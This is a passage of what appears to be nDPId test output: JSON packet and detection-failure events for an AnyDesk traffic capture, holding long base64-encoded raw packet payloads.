oca32AOC1U+LEOXxrFjWksPu0A9LDRqCrJBXsgLtOYDgejeOUAvaBm8SJCnzoFgVTLITvXJs4dvZkkuVYVR44MONmnu2EreMOBekLzmhwX253MCfPBJFxd9j12ryN\/oh5Bni0ZJSuOzvUNDL6HywxuklBM+M5dpApm5S94iOj3LxF7JU0RJfYX7HugEgguYZ4piK8ptyFvBA9QkmS4VoA2BSUA4dWhNAJj+JSK+k0dxplD0vbgnkWFYbx9Kq\/NWAWo5\/PMne0zqG5LVfYQHrSBrxcEWy7mCQ8yPj2Extfa8gsi7zqKC5NlvaEtbR\/ubWyzzD19vjvCnHUAr9+812MI4R7c8o0V9EIb0Jfrqgz599QQE7cEn5FPBR7+I8Lgpli2Gbj6B6GJifdYFD7SfbvodUTtoHwF95NU\/z4uQbqIP93WN1737kd9C\/ObS0hoU2WyrFLl7CoaggGplawmzHfwQv7ARqGXg4IvhsrrAmHiVgsZkZWc76BqTCjqs\/L\/V0EQKu3u9EbUA+ILNmsVpm\/\/o\/UpVEyThzLONNpG18EUVZq5uxlGIUGU8vU8KiqZiKKnBbzvsKiO2EytAdUyaz1yPEeQgdBfT2cf2IDVc7HxwCZAsLRcM7yH1Bv59ZSDjoQDV9kUO6s0t+aE7dl+\/SSl6c6uzaasd4kJy8dzv7+\/jlF6I8pvGnlSWpSEZmLweX2N1xBTqQnEAmw+7YjFi29qNt\/IydjmXkpSXlDM"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2231,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07846{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2238,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":263920,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhuVAAIAGAADAqAG7wKgBstOUG56PNOdyWcRKBVAYIBCExAAAFwMDFXlZ4hNO+msXLSRTxCCKcw7QGc0CuFWZdk5eDwuhDjB3yReh18Ri4SkpcQu5uxHWkOVB+KxpOMmQMVazSGyZOZhsfBCrGbVF9+Rir6OY4pNuelOaraLQCx5sRT8NkOrIuPbp8k+cHFRgZVGB9AHfAQkRqDlTHeUdkQDy5VYtXi9L6ZeA21Ze3Lvv++l0sIgaHtqRjV3ozqJ5hAQYEU28dsR8l+0DEl3mwg4+ddjTtJuwf\/eZj0WOcoMIbWiMRDig08AhLBCGA+OhD+K8SoZo7e8tICIZbHNKC\/wIFW2nODEmIVbkjabK2ILnIlORD3tYDgfAaKbBpDZCT+u\/qr1XYmz3IxtHUhoa6crEo7l\/35Uito9f9X\/9757G5thL3p04iS5ySL23MKFmm3+JaFrKLOvLulfWRy2JsUN\/u2EPlrG3wiynALdOplYMap7nhBb5gdshAOI9KRwiu87GU1v3oP8jQFtPoYstwIB8AR+kfYg\/KY3dCJjlLr1dIMPj\/PMiBW\/v9JOBdDiOeKRrhNe7NCrPob5AwOStlQne1XC1QSbcteuJiMylZ0rDveFuQ2thC5vTUV8i5b5tNXLcRL52LwzmoOzgNFSFf8gGOY5aYAKx6yVvLCE2x4p5qbJCwtj0bhSSUAsq0sE+7q2iHpd1P35d5R3c+5u0mSLJJ6O2tSvzzpcGQd8DYpXmg4LY5j\/lYXE\/yFnHXsh4mX5f6CRSs6tXkf8RRdSoslWwA4+HHRXx7rlUnV4UK4RIwGjU4Q4GF20TzDlRayUxzmQIYhjw+41xePOwHfJJyN8DFHEMK2I6uHaCtXiiZo5c2\/lx60vBxho3\/J1QxFXpNH2448AfQRiqWp6iwkVql84XQmzLzgMPP4iPHQr\/TSu3Xz+WB9dpcnctZ2rVRKYJtx26\/8yx1xMu3k8CXW03PwiZ+dmwyB1P313a8gDdhFt54E5SVRos7KKEcE4GEdHKOOE1Sezyohz7HidweLnvkMBEy2A8VtwpmDG8b3W5n3erfjleItnk0lH\/gAEFQ0GPStEcaWvQGuiyYPVri+zOwvUPAT9Z2rDFWzh8rxDD1fpcVIGmvVx5IjZ9whxxfBIEuimJfOW9KNA6AMO7PXbBfr4ZPH9kOeveUhe270Epi069\/gTuGymBMTUYPgW+L1ckm6lMtIhEeIfRMboKgZOO5YI9jAlo7e4dTkx\/cfpoYZv0QVJST6fqw+KFgSmQBO8FwiN9oaBJ1tLgAYSg0CPWtgvL5pQhogcFuQLBPqQAbtbZqSBZUalpzrnZN3+6cCVoB4Tysrr05A3oDnMpsyeQT3Gr0br4XhNOH7PGGU2hvCNuNi5rCq7XRmqq0vHr2D7RBD62UqHj32gLJCKZgEj5RgAyc+XhLJ3WdBzJD5qY38oi68grP4WxYxcCAYxt722KUEeTdre0EVKG3hjbI5ZabKS\/pK\/iAiQDZKLymAGm9PmSq+QzhXb4TLfdWXGQ8wF1wefSU4CEmtPJ0keiOy6Mn8GzPU0av+nn5qL98rw6Xp5k0DvoILHMHCiby5j2v8XhNNhuccZDbTX8E5l9Z5YoXHB4kar1Kw7NbET846+03stulP4IjHDe1LU+sBF27H1\/fHpycjrDmdVsikrlGW9c1TXsrqiR8h8BdmP\/Tz51MobbIEcSokbJN0JqLwBH41sfdr2JrRal5MalE\/i2obzh3qD4zJuSDnBuCNnUjwsT\/dXr0Qq5r+\/JRYpOA\/C446ydRVYdzbnEsHyjegI8XA+9FgZxaQiL\/hDLCIGLzM4YVjctrZFJq5h1VUCHTmPz2JIPqDuhYyYw2d\/akA47yCEjuMlYcMrpy7BBeF3AFF3duOlCrgRh2HiAwupzqMMFh\/keyumB8shQKgit4nm9ttLzjvvyOL7xfzZCCMMeluTXsB9N9Sp\/kab2Jy5rJ\/R7i0lPGs+qNNV1f5Oc1XQ9QMVckFH2W85ZZtKjT9Qdgey5ArGAtaoQFyJ5oTWhGw\/e1Pa2d26eKuHwwz\/Y6j09NfadTdsoMY7Ndy\/D74ySbHkfuEfnnONqbvXwURyBXKVCa0mJVAj7eAxBc458lUvvaJeIcRlBF8+spssVt9iXOBcOzjnyJmGEnmvct2pBHlJ\/BuOwXY41l9sR0qyhWJa7aqj+MqDtvYbiHhA7RP\/SJIEjymwnwuskh4fOJoL4KHttOmQa9Hpa6V+aZUMeX+zu9I8DPe0UTPvZCY9JhjT0YOqK2vwizfMpS9JZGHHGz+hVBXHEqg1SHm+5j6\/22tpImlpYuOAsRt+\/mtk9XmDkio3B6a8YS99fYyKqRlryJywYZ1tQtHhbLZNiSRglopmjV6EHvcLN33UHfxPrvFynfM7NUvZ1U0UD52wlzEUMzTNZBfjDMEJ\/2iVDQ1tdoSxaKwUneHrz8fetzsN7tZqD9ZYWy1q6Srhikmjx1tkbAvxKVuv8IrXECboUuoNhL5N49FniTB9Z2qNC7bjJjtlnfqGoXmqC8jLV5DuVHJ4b6SHULqWOjLNkcdgTTNqGCHOMvwgSPGUx01JJxyIyFGrYJefj8ZDQRD4OtS8xXUJzthkDjx7G6w+FYIl5m\/U4orn2pHqThrj6AW5whz+6rZAd4vAp\/x0OXfx9YAVttw7O8tdht5+EU85ryn6Yf\/8O4VsaOFlhPgRTjh\/6NEQ9ktAaDJw+G7ujTsi1MXuoexD84qcyKDVRngRqdeMLgOdP+9mvpDLnKGrBh1vxDbRFWE9efn8msnAdNcHw0HcmvGgZMjceFVwqk3a1D5HNHQlDzDuoXXJX7Hzz5pkEj+1cVGZjhhttL\/PrKjCX62LwhgM9CqA7mXnJdWmXCvrq2\/lMIHKyTTl4P9JgiP5l09cH04r0hfG80CNBx4CbTWodfcdRoGgr7TKoxzqpuSwDqp+KQBiSVFcQhROA6ASZGJ8ZNbnPkUAI\/Irfm9V+oqLKJnTEt7Kl2aUPyQCqaF+J8ZgVkOf6tEF3Fl9Q6LGICZMBUBHZlyODOwUCpTprPHtwMyR\/TUtocjpJKaeJ2kpFbc4lJGV\/M7VsU3WJKIg7Vda55viSHS\/C6ejWM9TjHwZyfatLJwEz689yoM\/MifUc0IWeejNJWsSgLWwH\/p\/bOJatNu+zoBe1f6mOg03etIYiAjTxpSudbzIEAe9iWGmYaJpv1RkGwQU6DBVQd1uCs4I7dSE8tgdvaFVcd\/sJSpBh+3fZp7aes4ELfEGI9PdGgDouiqhJp57ka+mpNaHXD3lqUcGGsJnudK0x3BfNnNnOPW2FvCM04jWOnIVC6QzqiV2txiZgTBDq2eMkFt+9\/FYgX\/QZ1o7YdLCNBlbbqrEJDu0PedoL4mGi3Rp4qNDHHTubc\/6OFl7BWGTPk8rQc5FZwjsUs26OrQxe6P3uY5NhJ7kVQskGafcbDjqMPNAyx37qPxBhpjY4mt5uka\/1z+kl71K0xYwwLxIoVJ2\/lzxzzfJMFzoqnjoJPQdngeT0q3l9FzZFBTINERcNtP1yDV6vm8jjAXAqELpS\/6QTtF97nXw6TlR8x3s\/qLkccETBkcQwK1UniInfOcWXsb73CczaIF0\/YcxzWpoU0B3bh57Tyay2I9J\/xpUGfRQ4+i4iOfolMvfrhaJJ+TZkJ\/XtkZtTUy\/ppDmexoSM4yas7A4zEsZU1t7azDQAJVMeUG6hnN5lqWMky6nGOc91StdXHjdxV3XYBBCcLgZ+Y1ys5dqq\/fdh+o9XnNG8Ezr\/v0HiEmKif3KBib3sj8X\/IKXd7IA8gSOUL1Cp5e+RCIP1mC7w1ZtNdh4NAFWMjbEUMnesjBuHpnX4C597wAW\/epGvQpRAFLoJaKNsfbX9q8IryKDFCNRyR0LciYjLRMWMX1yHaR2WasMyYWlotcgcFPtOq8eb8WuXXytdWnHb+8hpLL6\/kwnaK4ldbNUWGCrDNX1s9H4b3gAkpecb+6j3AHJZJTkyyahBEXgePdd7S03vpCQHcJcNpdtBprEr99z3uEqopZvdMdw+vygHa2\/3f\/WwPTcO7LV2BYLnIhWihAK6lL6GB6vUMvz2aLSyu1GiUC5ED8DlSU1ZmcDVgsIhEV9+B3GjKXatQFfYbSt5PHVLlZU1WlFqRZro1BvAY6rPXszIxEkEbalThnB1JVxAnZxHBDlyeNYMhcUn1yXu7gkZEMegSNFEpounnw1QLuyJgYT7NOR4lV\/GOf4P4mvdEtq9PRxZsjdOaIuVuwU8yX\/\/3XeAetuOI4drjxRKzy2HiKRUVZLOMYoklgQPsp2yaPUsSLDu7x0hPCKqxWYsQPvEGI48HK9B0+H3zJZoIVJ7pvZVz\/XMhMaRbP1kdxqYq\/wtUbGL\/Ku5mFumXR\/7flUH1AwAvnPg4\/Zb9nScPC5T5+FVhPN8lD3CZTgVMll3a4NENO5aFGlxQJzZSLtCsfYfu4tgGh5F\/Ls4i71U8BTgz2fHmTHrsBk1x\/kGCW2OUH6Ueu+TzC1rrkXACQfGSEyQmOgKmDvd5nbDI3nRpowVT8dIDsQJXQtCfl6UL3jQX7hxUIXtGFVDEmf5SQO39G6jMh+XPHc3pIJvFUw9aqoCJYr8K8vbY3vkAUWHw6UsOt4Af0fp7pw3euE5A+ozJ3Q629gBoD9U45xgbE0SLwzcidxDCN\/VnbJ5YVCVQyyAkLC6dh8a7+H1uZHZn94bdDvVPk+TO\/l7v24qTcC71V\/iaWBvUPOCR44RYVsJElyXYT3uheqCMcfkgt+gpUZXf9dZQDiglfPlk9Rmnj150lyWYdGtmhoGsip3KYPyOOYmseAuCI3xy1\/LsXPv0rW+DWsrmNkbHLYDVLT06vKhcWougYu2dIU1ND8oQwSZL44k4jQ01gB1vg8lY\/XoCaloDgBE06VMOIe18GmAcLOYQ7lTd0fZVXoP4pa6VQTV6wIq17Y2PwoV\/lpvhlzdHOdBNQzh2i1uk7gb1Eb8Wmle34Pa\/KGn6TOrRjD9RrmqvjyMDNg2m2W8M\/YHhdpGHOqZCNJ1BpfJye7VNNYZzVpBPrfG4nPmWSxJc\/Sy\/HDqsYeHbi5spF94FTw3u26WQepeNXHEsxAhsjbNzPR6ihSK9xNf1yRHUYexQTtAvPYsHO91biXinTJbp\/U5zMkXCpumgq3FC+dak1qiTewgl9cy4oQhW0H1FSu+Sh3FNCyCp+NwX\/6eDsDKGAZTNeX9wQa9WJShW\/fNvOxH\/ZgHuoALaunE5YewpdhFID75YxgyjCz+fDqdUygBopLn3+zolmyIezZJh6rHunCT2FZ8DnTDY7B549nnRbsdqXM2lP0BnnGNWDiozxAEoq+Ua8\/mejPtAMTqNb8dVYLiyFjGqGnkay6DW9lI4oAnkO17azA+A064shdnJH5qIFCAY3IXv+wuqTNK7a+Br+DekfpbQFBG9rDAUKxS7TFlRz\/s5M0Ce\/ErzomzS1uIlLv\/5sfy5X0k4rJnav6pk0+92\/KBHcouU\/wBa1YC9ANm97Of9K7ebLKnfjmwMcoEThnKaNjnhxdZfuEJW++aPDejDRupocVgI0c13Hb4rXb3s3H2SP+4N+rkn6\/5BqoKYinmSeZbOGP5kkmF4SltgQmYv\/6oYs10El0XCo1y0cyMzRIAUd1\/WGd3rPGBvOjnRp4Q32BpWivae5Fy+jmaQrtH9QLJ59VFBuNKcS4fxgLqzvf\/3\/u3h3mY\/P4Dz+u+8WHRwnZ6Y0v79N1acVkVCSa2aSZKLmsVL9sMZY5LRlERUCZUn1fNz1cYgLfGRVotOm\/ciR4Qt4e1ZcSH8CwnWS+fug4SC2ULQqUrJP1KAm2Gk7wHxtCv\/anC188f3air69fxAZ2xNxhEqQwzibT9GEKEuG4sfTR8aiSJr6mnCLuxe9s+wnO5KUik5SBszWWLt0+fkT1Ud+ZiQGCqETbZ1f65IIFyGQ5b2JEm8XAe1u59DdxRjFYMfrqOWS+r67UTZfbUBsLH0YxhDNN3i\/DkZn61NgxJ7+UJgWOUQGB5GrW7waziWBJ91DBFLMZX5twGP1ERAVs04LWFcaA397K13g9ol+EF7jBzeor0uOvysR8vLCGPbx6\/+RBgq63acSJUv+caY36gA05pchkk9gQdPE37yKwSaCfmt0lB3TElZf6UpocaIisNIae4UP\/qybtqm3dvR0iqdhNe5r2+WblyQ9PKGykDxn8WtLbZVBodpYTiurCtn27JFSQ0IvfIq\/FRirzFwTxsltV4D\/ozDS11KnnefNz7199yF2uX4CQytuP8x8Mhzzh\/8Rii9Fj+ucpddSOvhBaJO8I71cymvX2g36SGtv9BrL5qkxyQIWWP9mOYrxmf3loJw1M1XcquNj4q3MLHOQKjlZEDnIFWzjme\/amlEuxw\/7sPiVMRZ64woYTnpPhJPPuciN7xbDsCaiWHdPCDZqz9o+83x\/IfNlCC4gQnZaTYPw3v4LRecD37wxTbv4TK3utDin3dkl0AksMpBJnO7y0uPVCsUrpjcTrcvtZHntNWdV4HLitFCcKju85e0G+FkWT4DjuIAMQRX+9SpVQ9QUE5OYcn72yg7Epj46ifDa1K+tUno9h8eXBRzWxtm5KU9xOR\/5SYCKv+0KaBA685PgArSfohhvo2Cxell5tx1MQmHuXF6Dk9500GWtR4HRv2fF\/bTy07VKpahOPYgPqAm551yl2V5Nknc1CWfZzMj+N28zPwvotAF7GozuSSCWbg1Qit5JOrNJdnr9cTkFtfFmHkU9GvJgFWOg4YTfCFZMGzZZ1y4YfXhGjsQTrUyYIS\/0g1iMg9dem9x5xEpnbmUnrXt+Yhr6\/d5NXdTOu1rgOEJRyPrw+Pbm6oQXjd\/Y+kHNvdHwagbBbKkLU3KwuuWxAJKxMSizDnTdjMo+ULzQnBR24qvvXZgIvC+ItgByLH00FI8piW2ICePl4j6qyEzBHTaSUMEKDGlqx\/pwQrVq3g+GqyeiCLuXG9dC7nm5MmrAQKkAZ\/V9RPrBLlr1jcEihO43HXza\/35FuOtVpsEBcxiSqVTE9thaZX5bKA\/yElBpFmVxVUCj68lRTFU\/6Jmit3+LNwcryYCLA88ESXSwSSp+RMdhfJFtyG3Uz8guECfoJluo8IiB8IwEP6FdjydaCk6gsD8g1rYIgcN55DuUGdhHoGjUYIc9lPAnc5ZLlh5knzcA13JmGbO2UKLpYS4Po8So75C2aozCvy+q40JciazDFp+QFYkQoqwQZZ1H6RErBxmsXTfD1EWMi3n5nF+lluCF++h7O90O+DCYaFtvWyQeH4p\/cwWVOCbuMEoYeYljvLYZH1x\/Yxnu0Nnbrh9zl3AF7Y\/Z2+SWIAy5gFkjb4f2m\/gnxqc9IhXLzC\/3G+K575bPD8"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2238,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +05855{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2239,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":263956,"pkt_caplen":4087,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4087,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhulAAIAGAADAqAG7wKgBstOUG56PNPzwWcRKBVAYIBCExAAAFwMDD7xZ4hNO+msXLk6JdZnBePPyZaAF92vNbxqqpKW6gfdPmg5cnFMV5+x1MV7Oe0FKrHzEldjrej5ZjtOZd8ogdyU48ObuDdqFA8f+qaoeUFvQNhCCBetNSbYVopNqq+iQbGEk0eQ1ruzDDEAvDXlf1wpPK5dOJMQgRE3dQukwlyaU\/bUFrndK2oNAvgxbV0L9DCqlWvyQSN+ZNzwP3njr0j3SVXGiQIGiuV7Jqy+PkdYaEX7aqv7ZP7E4Kifwpao2lFrqnpUp4WKtXqAHfz3ZpNGYNmIV3MLCRiTYi3GAL3m6aEf8K5Di58ywhiv4GuZaR9xvuhwx5q2QOgOniFRXU+PSwtLRI1CYJifrRN\/DPcyDJn9HKl\/mF1jmvx8KAUV\/97jiyvKGs2M\/EGCDM4igg0Tsrr+qrr3\/Abzq4Iev5orZBnawlPTxXimgiAYiszm7TqV8Y4zIolEucz+IdHzyfAj6wtISzrM35EklJseRdV1uYul+UiuQUTqzdztM9e1xO+qeV8MlM6\/+j8OVLTFdnyCPtknHqaLcAfWsUjye38drKH04ZIaJe+bWeDLG\/9xYbmGO3qT+ev5Efc1Aj\/GbODQ2kBsP7UeluPtsbPMTZ1gB+RjdYFvACMic1Lge0DXl6NoGRBcHEiaQ72MbiKu4BfkBBxG\/UZ+wOUP6U4xg49xq+yOaUSEn\/BWVrJ0y7mrODoUERgbYo9rtkBStitUZXQ7kjER7ri3syb\/r8tdipNfh0gi2Kds341cfrAE8n82cOT0GdWPEiu5xY7yVJg0SSdSWTvo11sclG7w\/l3bFS4ShQzZEuxf9XPyKLaSahXONPYydsFKiB58LjGJpeeJAM0\/8dasRs+fsSbUsXbzMucmVxxTa4Ty4qxehD\/MbblINIffyGv1LpCU0BCo484FqZH\/kBebYpEtW5F9Ps2ttjjiIA7xoXLfi3zCdjqHaDX4j4E7vhdPUiG5ImsBz5GJQPWPJ7MPaTVLBuveJIfbzJZTPqeRk42\/yWxzSpvXn4REl88XTbpZrUEJGsKRgsVArhJSEMRXSxLMg+briRxhnv+5Q1Z29LHFuzz3HTpu6MQyK1009tg4jax7JqZxf766f9iTKgY+XOqEwpVxlJNpRbpvuXi\/otl\/8xI8yQEttHQNvNyJnPVblabs7rE\/OfTQ9pVi9hAGE66HF\/dYgz2DuK4GnrmiJlC\/14N8QcFNXCTfgdT2JaEwQFv9yqZip9XOqhew9kiEu8slmTAPiHBZyGpJXSZ\/ea8duSt8cMvLzB9oyNO4993ueYnT3embtjJuCAAl+l11cx5VddPL1EaXHuz4JHGyv3Cp8YLyj68BADSgt8BqBlTN384q5Zzy2\/Br7pvi5zolTmjZsC3aCeeCp4FpEucwYRsHqPyERacAci1aVt+1RitXTDSsWWoLQtrI1esbcmX2TaT\/fzto+xFPZlbYJ42oc0D9wueMEH6YJnhw7090T7foJs7civA0hiH9KkMSuYUnFpSn0XG7AmBlkAIf0ZitnYxZFOsySypv01lrvlKo4mRAy5DrEsy\/n2kBrL8Vw11gKUvPKDVqXHGp\/IU0hxGZfQ9x1TKJc+hZdBnhHrzPOK2Orn4GI4ZRXYvWgPUoA2rxJz6iW87dFS2pOzEGr27KPJFgxenrszYJEKXyYMeXIH0uHrvfZc0\/EZte441TDimFrvr7uhgg1BK\/HGxRAZqtFjAqbMD\/TajC+37eT17hdwncVbjUNdIk+N7Jz21ySzgslOp\/P7XqWRlh+Wz0v8gcgaarrO3bD\/FKVwtz5K89MtpcRviSBlzEDBGYhgmUtH+IOirk4gIBQjzC7hz6XiI3q1yBIOr21+kKI7rR1mnMsOQL6PE6N45qlu7bqacRaHVyDordorYgqAdydmWOhzsaSCwOBgN1n49nhhIH3i815sBO5a9PoA6PFEh1J9vLsmW\/tMLxl+Db0JqnbSIZhHLjJUtFzuGqxox11pWJyr8NKkKO2uifRPWFG\/PazYeIUd16RS+7lEUCphniWNIM9h5W6dmgap5iV+lTuRBjCGE4++0LQGgdfmRI4rzfUaKyOkrBsEMdDSrS9psH4c6nxUNq\/68MIvUFMrC0k\/kCzOBqxjBxRkxUWqmNlIWW4KzkXBhBP2Ho0D6HdnKk0ktTpnAaYaF\/I65PbMMKirmY5yMe7Riu4dDBdHMt+UI6upl7zK7mnF7IEnVlXpJw1+K\/Q7VhChRlHRYW+O8xACnRKLjVNb9tK4FH1JSkt6urAzbUQALL\/RwvZcLtNIAj3XyeAUfLolvpxSjiy24ONQZ33IwjhAA5BDyaB7zt8yYZ2ntss3u+u5WFu\/4Lz+mLvfUq3WYWc+2Ot3Qbx7ThfpI0ItHmH3ECONYCPjHIwQ+IsYNkVpNGmsXBSVXfeWzyuv+yDmpbThnZyhHd6jdx1Ki6o4dFF0b0yEMs5Drl1moeqaJozFHjA2rZwkiWcMpFgCQEHjFHmRZTVtbPMcOxpXxUQfGM4DcjwWEjGNYIWxo1nOP2eQDaG9vfDU20cBeiXls2s9qg\/X9kflOQyzS\/K48xDwQwgSzP9S3Z1KSym6hTEuF5YKiu889aCuvwodKevaP\/jdiXYwoNZ8i8mAwjQNf7qcxzJ+NrOOW2dULPirbbLSIX0BbSXjpFsYX6kqOWLuBWqBEI51wzelRbiRWBIL7JdcsAhPf4WTGja8MCVPMU6CJCp0Z9I6yTVC0WK1HTzpq49qwMPsRCTi3aPB2KSOX\/3H5wlueCfXWS\/\/k1uAWUz60COyXkedKH57Irz17eWdI6WGNR5GLE67mu8tt1Z5QmB9LGcRbnYpBjVYyPhdAvCvwApCLhUW1TPlthbQ7e7JxaioI\/8I5bJGkOjG7GdTqrmSG00qFSdk0my5\/pfle7jtULqwtOVb4fXy8ecIMExDWPdkoKlzA48KH\/GeYBP3PDxFYwP5bMbOcBkgZsBTWsE8hz8b3i1NOM8RNwTrQf+dSlv5ILeOI1Xav6dgt912gwR84c+BEuh3JphDW7\/yYDwrEafsrK+TcRJ50V+AP\/bR+OeHGgMZGIipPqz7TkaG6wGf9pW7osJ3U2TKasEQO9q6o9sNec6n5Y2kz7gk8UkGevW32R\/oIgnQpdEOx\/M8ik1dAtRI61Ozc75IYmIOclO6dyUOLJYYUp4NqigmauyWPTu+EK6iXKA9ethZIWgTEOiIUiAab+szidSDXo8vlQ2k8sQv28wt\/Dc0WyUgchq6wyQY4VSKeW2RTo48eYZFo3gkz8PKdhWZtqOuqYUP9sqcO8fw+ipv0h+UhgiMCsz+35MG\/bEiEPMiHVBW8xaPZ6Yp7nTRhOw\/uxxYKZQjomsz\/WkbllRb4y2k2W1nyOhcIos69Fp5Typ68R17Wzt473K+asffUxHxcOhfquTSsf4SNK5TWQvGoFJAX6K2lGGOowuFKmP8myIx7h4rhbCO1AJf6wFv4El\/Gl+dbU\/4iepmzN2jzr3NU8\/\/9JwkdzT7ztZp9boy+YYHEJKVJ0SKUJaYiygrUI+Xtxo1PlsSuuTkiPlMz0f1dOGoKh14GzxzQWD15rMphd+AldBvthgY3sFFzFCticb9RYGAE+QWgNArQLwtgxCOklUSRP6a5hzVw7McBIajq1jpWp4NDT\/YCJj2xWl+VuBJjd4nSZW6OtzCsjC\/MZQM5LQLp6LrJy6Kw9Ld95j97f3KjfB1E743AxyXgX1ySS1NxF0KClsD2oB1zKZdwE\/RewuGSFu3rWpFXkLYckwM3KG\/p\/FZZyUwee\/SK7Y3hxErnhsxAA+mv84UfbZnceQpPoi60fQdkAW+3\/nJ4F+FaNTgE8hb7LlPZFwArEkbncW3CO\/uAK1vI8EhhQnUlGLMQ9QdgaaADXCaXzMHGutpJRvF2+YXzeT34esh9QEPY5ugS9ufGgZlX\/SppZ0wjIEz9Yba+TUPXrONKXf4HNE+PF9oOJe\/A\/w5k91RK5gMT\/8V8cqFQMv+k1GZfJkCmUir1s6m+4+TyQadV66G\/8PdmsAPQHcAaYyVfaMBGceBEat9QeDcrlG+Ahpzla\/fHTbQ1\/\/kLwLfg1ZEYlFv0MmSPnPS1is3Fm+S0lcjsn6lDSokivKPlr4piup63uipf4pT1gv+YJQsIJ0KgUT+\/0xbj4x05hQYLdzQG7dSq6xdHWMGXMGj5lEagunEL\/oKvYz0Cw9aN6G5EusAnhXKrWddEF8WNav4gYjaZwk3GaL0jbLz12lFrS7USoOLRZNHV5WxveByMbnIo1Hi7KK7XPAYQdkLJh2JpLpXfHXT4NXoNnp0jbLI8CveeCIJAK8iqid6w8N2SjfqwkPnfBRE2dJoAYiZrFvv1xTevxZqaYf1D1sJUIA+Iv5Iuj7FXq8Pc+YUs3DJkvDW4HVZTdZMPqT45PWn7XuxtHFM6g9pTR6z93DppC+ETutpyK4HWyxSrOAC873IF0rAGNySwrtp0U9s9lQGfBVxNHhw+VL2YVFU1NXnv199k24wHHhe4LNeHMoUd5xTtT6uNajWhAgVd4fthE7flmiMrWmKkDLZmKU5An7fbpA0BrEdTcXfSX7+Sw7T\/PGTs7pBQZcVVitWwil71fJsl1lhvt8uaNBk6bgV4dzqNGk0C6r8yhRAyDOt5oxFY9rKt+eoGntbaiqg5tM+uSD9eKZEAPN8BsCOJbd3zqN1ChIIToMUrEz21DIlBRDqv60AEBam\/QA63cVauIuSd4VIRLgywOw72irkXfV0OCqWCbhwV\/FVbx1TZT5Lx68gajCd9AZD1Iv5EceZj0EVcy2sZ6PDp+HZDyMwV\/+vA8mKiusNPmeX1wmpc6zXH8EAFuCwJuqjHDNKmKUxOHMqxSeN3eZsQ\/7VkINra5\/5b16hnCVVEPYOdbgT7sGjPKGmRCe+oiCnuJNGzuBIma7\/O4\/ovjCqBng4GaRu7Y3OEF6e7hKLhWU9Zga3SyMAzE6z+GFsLbQfjpX8HIv2UkrhUo9Yme\/BGqYwVA+P+r9ILUOASsCuK713ey+1sowNrrH9uNS1UfhAZEEqGwMxWaiK2iCPrPkLKXnHjtweV0WHAztWYqQKqlxP+zzJG5zWNwjHRkAWZI5RTTIRmIq4FQ5\/2oA6q+zEddcrn9yOt\/WZ\/oRc5PZo9A2KGugURNmrKM0u5BxMHiBVILcEmP5k+R89wjZgKi3GNIWoia9\/WOYuO1xJASte8mLIGE7+cjvkwKOecsy+AW7MT\/Oo9Uws\/DehD\/3AeRWctlq701n60S1yvSoNR2+VJeMCi0GDodkFnViWhAaeEKVue7kAkuS7M+1yBK1QVD9Ucyge85dA\/W9Zl4BKPcwqHgr99djg1euf\/nh6pxuvbavsaQzXP4\/Ravk0vNOjbTOsiqwLA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2239,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4053} +04533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2245,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":291626,"pkt_caplen":3126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3126,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhyNAAIAGAADAqAG7wKgBstOUG56PNQzaWcRKNFAYIBCExAAAFwMDC\/tZ4hNO+msXMMsvsVZtLy+nQLLapto66sTDB+pxTdR8s8Y20t\/y+Dp3+4kwKX25NA0j+FkS18G+wNWJXi5YfpLXL8569E66tSkUvMud95drtWHgPiVc5memmPjeQLAxtThttLpmcgCQlKwgBsYwNodQcr6dIFaDfGlpNMGogodfhu6lZBe0p16E5IqRnKmDCnW5NeHNtGBKQJVkoEqkwhPNwkle7oEoNTGXGzirQVLDKyJABUIfXR3\/azPjoCp5B7WufZJBDxMFjVgKghLZ\/IQffQlLc59Yb\/ss\/3yZHb7MzR+KRZxgPGl959stEoyng5pA5OhLnaTbVhhxG2zllVz3yj99i9VCvAkMUU9SaI4CGCnV8eXBrDGfAWtvs72DMZVrc45g+o0V4+Ld+YTzQ6LYJt0RFnfmgVaVSZ19\/ocxtJypE8mQct+S4869QY+D0xlUDAnw\/O2xOuBI4OhDicLmRQQ2QtsB9Wb1f5K+CMVuMUBHZ9wKupsPtesGM9uT7ct0ZrdV3KVd\/zsXQlNRIC24giGRwJpYNihEk4TPB0t2S5WZ8l9PVYuiRe1stnN2kMycGSY8XkV16WiKaXDsBhL\/3cnfhcrZxJtyIkuuT\/ZFj1ibCUk19hdzyKGsajkpF\/uLtrd3zrltI+rY8pGcnkgc9QQJleza4\/\/lZxtcVZaDzuomBLurBVf84zHyzz66pHkXR2bS+WY1Rady7KNfDssVSLr4j0aCHipPjOvSAf1O+RMPzHxGjER+5R4DahR\/u0QO1mn0nHf0ARAsBbryf1JWkdoRhGPrrgpHLqjpVCMpDuEzSRrjCnQFvRyFswkrYSbB1CE4kpTDHA3bXDQKtOqS3pJv7Vdk8Hw2hWhfwUlzGvnOVAGT08zlvC3N+ZTrWtlCYgXFzHIuwGoZ+Tc5hlxMP8tlhU6ajDTz6McPz9kjRaubiCCtQAncIysPHeRH